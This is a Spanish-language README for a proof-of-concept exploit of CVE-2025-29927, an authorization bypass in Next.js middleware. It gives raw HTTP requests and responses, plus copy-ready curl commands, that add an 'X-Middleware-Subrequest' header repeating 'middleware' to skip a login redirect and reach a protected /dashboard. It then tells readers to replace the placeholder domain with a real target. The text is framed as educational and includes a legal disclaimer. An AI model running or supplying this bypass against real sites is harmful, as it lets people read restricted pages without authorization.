
Bypass de autorización en el middleware de Next.js
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-29927, una vulnerabilidad hipotética que demuestra una falla en el manejo de middleware dentro de una aplicación web. La PoC ilustra cómo una solicitud HTTP especialmente manipulada puede evadir la lógica de redirección para acceder a contenido restringido, como un panel de control. Este proyecto está diseñado únicamente con fines educativos y de investigación en seguridad.
Aviso legal: Esta PoC está destinada a usarse en entornos controlados con permiso explícito. Las pruebas no autorizadas contra sistemas que no posees o para los cuales no tienes consentimiento son ilegales y poco éticas.
Para seguir esta PoC, necesitarás:
abc.com) que ejecute una configuración vulnerable (software/versión específica por determinar según los detalles del CVE).curl (curl.se), Burp Suite (portswigger.net/burp) o un script personalizado.CVE-2025-29927 (marcador de posición; reemplázalo con los detalles oficiales del CVE cuando estén disponibles) parece explotar una mala configuración del middleware o una falla de lógica. La PoC demuestra que agregar una cabecera personalizada (X-Middleware-Subrequest) altera el comportamiento del servidor, evadiendo un mecanismo de redirección para acceder a contenido restringido. Esto probablemente se relaciona con la forma en que el middleware (p. ej., Nginx con Next.js) procesa subrequests o valida cabeceras.
Para obtener más información sobre vulnerabilidades de middleware, consulta Seguridad de Middleware de OWASP.
La PoC consta de dos pasos: una solicitud inicial sin éxito y una solicitud modificada con éxito. Cada paso incluye la solicitud HTTP, la respuesta y una explicación detallada.
Este paso demuestra el comportamiento predeterminado del servidor al acceder al endpoint /dashboard sin cabeceras adicionales.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Intenta acceder al endpoint del panel de control.User-Agent y Accept imitan una solicitud típica de navegador.307 Temporary Redirect: Indica que el servidor redirige al cliente, probablemente debido a la autenticación, autorización o lógica de enrutamiento (p. ej., redirigiendo a una página de inicio de sesión).Server: nginx/1.14.1: Identifica el software del servidor web./dashboard. La ausencia de una cabecera Location en esta respuesta (posiblemente omitida por brevedad) implica que el destino de la redirección está en otro lugar.Este paso introduce una cabecera personalizada para evadir la redirección, obteniendo exitosamente el contenido del panel de control.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Una cabecera personalizada agregada a la solicitud original. La cadena repetida middleware puede explotar una falla de análisis o validación en la pila de middleware.200 OK: Confirma el acceso exitoso al contenido del panel de control.Content-Type: text/html; charset=utf-8: Indica una respuesta HTML, probablemente la página del panel de control.X-Powered-By: Next.js: Sugiere que la aplicación usa Next.js, un framework de React que a menudo depende del middleware para el enrutamiento.Cache-Control: Evita el almacenamiento en caché, típico de contenido dinámico y específico del usuario.Content-Length: 30174: Tamaño del cuerpo de la respuesta en bytes.X-Middleware-Subrequest probablemente engaña al middleware para que trate la solicitud como una subrequest legítima, evadiendo la lógica de redirección. Esto podría indicar una vulnerabilidad en cómo se validan o procesan las subrequests.Sigue estos pasos para reproducir la PoC usando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Resultado Esperado: Una respuesta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Resultado Esperado: Una respuesta 200 OK con el contenido del panel de control.
Nota: Reemplaza abc.com con el dominio objetivo real si realizas pruebas en un entorno autorizado.
curl en solicitudes HTTP.Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.